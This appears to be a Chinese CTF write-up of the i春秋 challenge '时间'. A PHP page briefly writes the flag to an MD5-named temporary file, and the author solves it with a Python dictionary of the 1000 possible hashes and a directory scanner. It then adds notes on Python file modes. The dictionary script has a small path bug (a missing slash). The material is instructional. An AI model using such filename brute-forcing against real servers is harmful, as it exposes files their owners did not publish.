• 时间-i春秋


    记一道跑脚本的题
    进入页面拿到一段代码。

    <?php 
    header("content-type:text/html;charset=utf-8");
    '天下武功唯快不破';
    setcookie('token','hello');   
    show_source(__FILE__);
    if ($_COOKIE['token']=='hello'){      
      $txt = file_get_contents('flag.php');    
      $filename = 'u/'.md5(mt_rand(1,1000)).'.txt'; 
      file_put_contents($filename,$txt);
      sleep(10);
      unlink($filename);
    }
    

    代码的意思不难, 访问网站,在10秒里会生成一个目录,flag会写在里面。但是10秒之后这个目录会被删除。首先我们要生成这些些目录,然后拿着这些目录当成字典爆破。
    生成目录的代码。

    import hashlib
    import  requests
    file = open("C://Users/36521/Desktop/data.txt",'w+')
    for i in range(1,1001):
        tmp = hashlib.md5(str(i).encode('utf-8')).hexdigest()
        url = '/u'+tmp+'.txt'
        file.write(url+'
    ')
    file.close()
    

    将生成的目录复制粘贴到御剑的字典里。

    然后勾选上那个字典。

    刷新页面同时开始扫描。

    速度的访问拿到URL就能得到flag。是不是很刺激。

    总结一下这道题的点。

    Python的MD5加密流程

    hashlib.md5(str(s).encode('utf-8')).hexdigest()
    

    Python中的文件权限
    open()函数: 直接打开一个文件,如果文件不存在则创建文件,参考链接https://www.jianshu.com/p/c305999c490d

    w     以写方式打开,
    a     以追加模式打开 (从 EOF 开始, 必要时创建新文件)
    r+     以读写模式打开
    w+     以读写模式打开 (参见 w )
    a+     以读写模式打开 (参见 a )
    rb     以二进制读模式打开
    wb     以二进制写模式打开 (参见 w )
    ab     以二进制追加模式打开 (参见 a )
    rb+    以二进制读写模式打开 (参见 r+ )
    wb+    以二进制读写模式打开 (参见 w+ )
    ab+    以二进制读写模式打开 (参见 a+ )
    
  • 相关阅读:
    Swift 网络请求数据与解析
    第三方-Swift2.0后Alamofire的使用方法
    java异常处理机制throws
    eclipse导入不到嵌套的项目
    java异常处理机制Exception
    在eclipse中查找指定文件
    mysql查询count
    【待解决】An internal error occurred during: "Launching baiduTest1". java.lang.NullPointerException
    TestNG升级
    eclipse安装TestNG插件
  • 原文地址:https://www.cnblogs.com/HelloCTF/p/12763465.html
Copyright © 2020-2023  润新知